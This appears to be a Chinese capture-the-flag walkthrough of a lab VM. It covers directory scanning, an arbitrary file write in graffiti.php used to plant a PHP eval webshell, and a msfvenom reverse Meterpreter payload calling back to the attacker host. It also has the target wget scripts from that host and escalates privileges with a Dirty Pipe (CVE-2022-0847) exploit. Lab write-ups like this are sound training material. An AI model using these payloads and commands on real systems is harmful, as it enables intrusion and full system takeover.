1 信息收集
1.1 主机发现
arp-scan -l
1.2 端口与服务扫描
发现开放22、80、81端口
2 访问服务
2.1 访问80端口
查看源代码
2.2 访问81端口
3 目录扫描
3.1 dirsearch目录扫描
dirsearch -u 192.168.1.14
发现robots.txt文件和javascript文件
访问文件
http://192.168.1.14/robots.txt
robot.txt提示我们继续找找
http://192.168.1.14/javascript/
3.2 gobuster扫描
还是将重点放回80端口,因为robot.txt提示我们继续找找,可能是因为我们的字典太小了,我们换个扫描器换个字典试下,利用kali自带的最大的一个字典。
gobuster的效率相比于dirsearch来说更快,当字典过大的时候选择gobuster是一个不错的选择。
gobuster dir -u http://192.168.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
通过gobuster扫描了一个几十万的字典,我们可以看到有一个graffiti.php。这个可能就是关键点,尝试访问web页面。
http://192.168.1.14/graffiti.php
4 渗透测试
4.1 抓包尝试
尝试输入1提交,并打开burp抓包啊查看,发现网站会将提交的内容追加到graffiti.txt文件中。
此时猜想该POST数据中的filename参数是否可控,因为内容是可控的,只要文件名可控,那么我们就可以轻易进行文件上传了。尝试保存为shell.php,点击send。
发现可以成功访问,接下来直接上传一句话木马。
<?php @eval($_POST['cmd']); ?>
成功连接蚁剑执行命令发现为www-data权限。
5 提权
5.1 利用MSF工具生成反弹连接
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.52 lport=4444 -o shell4.php
开启简易HTTP服务
python3 -m http.server
利用靶机下载反弹连接文件
攻击机开启MSF监听
use exploit/multi/handler set lhost 192.168.1.52 set payload php/meterpreter/reverse_tcp set lport 4444 show options run
访问反弹连接文件
MSF反弹连接成功监听
5.2 利用脚本搜集漏洞
利用交互式Shell进入
python3 -c 'import pty;pty.spawn("/bin/bash")'
脚本地址:https://github.com/The-Z-Labs/linux-exploit-suggester
下载脚本
wget 192.168.1.52:8000/linux-exploit-suggester.sh
查看脚本权限,并且给脚本赋可执行权
ls -al chmod +x linux-exploit-suggester
开测
./linux-exploit-suggester.sh
5.3 利用CVE漏洞提权
github上找到exp
https://github.com/r1is/CVE-2022-0847
让靶机下载
wget 192.168.1.52:8000/Dirty-Pipe.sh
给脚本赋可执行权并执行脚本
chmod +x Dirty-Pipe.sh ./Dirty-Pipe.sh whoami